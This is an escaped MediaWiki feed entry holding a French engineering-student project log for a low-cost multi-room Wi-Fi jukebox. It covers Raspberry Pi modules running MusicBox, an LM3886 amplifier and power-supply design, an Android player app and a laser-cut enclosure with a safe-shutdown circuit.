[[Fichier:DriverButtonsREVB_3D_TOP.png|200px]] [[Fichier:DriverButtonsREVB_3D_BOT.png|199px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27503</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27503"/>
				<updated>2016-02-21T19:00:55Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Circuit ON/OFF */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par le pont de Graetz, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
